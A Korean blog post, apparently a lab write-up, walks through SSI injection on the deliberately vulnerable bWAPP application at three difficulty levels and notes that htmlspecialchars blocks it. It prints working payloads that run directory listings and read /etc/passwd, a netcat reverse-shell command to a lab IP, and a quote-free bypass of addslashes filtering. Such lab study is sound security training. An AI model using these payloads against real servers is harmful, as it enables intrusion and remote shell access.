본문 바로가기
3. 웹 애플리케이션 취약점 진단/비박스를 활용한 웹 애플리케이션 취약점 진단

[비박스를 활용한 웹 취약점 진단] 1-7. 인젝션 [SSI 인젝션]

by Robert8478 2023. 12. 11.

SSI 인젝션이란? - Server-Side Includes(SSI) 는 HTML 페이지 전체 코드를 수정하지 않고 공통 모듈 파일로 관리하면서 동적인 내용을 추가하기 위하여 만들어진 기능이다. 홈페이지 로고를 수정하거나 방문자 수 확인할때 주로 쓰는 기능이다.
SSI를 쓰는 웹페이지는 SSI 지시어를 처리하기 위해 .shtml 확장자 파일을 생성한다. 

SSI 형식 : <!--#element attribute=value --> 

SSI는 마치 HTML 주석과 비슷한 형태를 가진다. 그렇기에 SSI 기능을 사용하지 않는 웹페이지에서는 위 구문은 주석으로 처리된다.

[난이도 하]

우선 firstname과 lastname에 hello 와 world를 넣어보았다.
그랬더니 저렇게 나오면서 아이피 주소를 출력해 준다.
여기서 URL창을 잘 보면 shtml 페이지를 호출한 것을 볼 수 있고 여기서 이 페이지는 SSI 기능을 사용한다는 것을 알 수 있다.
이번에는 입력란에 SSI 지시어를 한번 넣어보자.

<!--#echo var="DATE_LOCAL"--> 라는 SSI 구문을 넣어보았다.
DATE_LOCAL은 현재 시간을 출력하는 지시어다.

그랬더니 문자열이 그대로 출력되는 것이 아닌, 현재 시각이 출력된 것을 볼 수 있었다.
이를 통해 SSI 인젝션 취약점이 도출되었다.
이제 명령어를 실행하기 위해 #exec cmd="명령어" 와 같은 쿼리를 넣어보자.

<!--#exec cmd="ls ../../../"--> 와 같은 쿼리를 넣어보았다.

그랬더니 명령어가 정상적으로 실행되어 출력된 것을 볼 수 있었다.
조금 더 해보자. 이번에는 cat을 써보겠다.

<!--#exec cmd="cat /etc/passwd"--> 를 넣었더니 passwd 파일 내용이 노출되었다.
이제 넷캣을 이용해서 연결도 시도해보자. 넷캣을 이용하면 악의적인 스크립트 파일을 서버에 업로드 시킬수 있다.

칼리 리눅스에서 su 를 입력해 루트 권한을 얻는다. 그 후 nc -l -p 7777 명령으로 netcat을 리스닝 시켜주면 된다.
이제 SSI 인젝션을 이용해서 접속을 해주면 된다.

<!--#exec cmd="nc 192.168.56.101 7777 -e /bin/bash"--> 명령어로 입력해주었다.

그랬더니 정상적으로 nc와 연결이 되었다.

[난이도 중]

위에서 썼던 코드 그대로 넣어보았더니 아무것도 뜨지 않는다. 우선 문자열로 출력되는것은 아니니 모든 특수문자를 필터링해서 아예 쿼리 자체가
먹히지 않는건 아닌듯 하다. 무엇때문에 안되는 것일까?
우선 무언가가 필터링 되는것은 맞을 텐데 잘 모르겠다.. 그래서 우선 인코딩을 한 구문으로 넣어보았다.

우선 모든것을 URL 인코딩한것은 먹히지 않았다. 다른 방식도 해보았는데 hex, base64 등 인코딩도 소용 없었다.
그러면 " 대신 '나 아예 공백으로 넣어보면 어떨까?

여러 구문을 해보던 중 <!--#exec cmd=ls --> 구문을 넣었더니 정상적으로 쿼리가 들어가게 되었다.
php코드를 보니 addslashes를 이용해서 "나 ' 특수문자 앞에 \를 강제로 붙여 필터링 해서 cmd 쿼리가 먹히지 않았던 것이고 "를 제외한 상태로 명령어를 넣고 뒤에 --> 사이에 공백을 넣어서 독립시켜주니 정상적으로 명령어로 인식한듯 했다.


[난이도 상]

이번에는 두개의 구문을 모두 문자열화시켜 출력하고 있었다.
php코드를 보니 역시 htmlspecialchars로 필터링하고 있었다.
아무래도 html쪽 인젝션 부분에서는 htmlspecialchars를 사용하는지 확인하는것은 필수일 정도로 중요한 보안 설정인것 같다.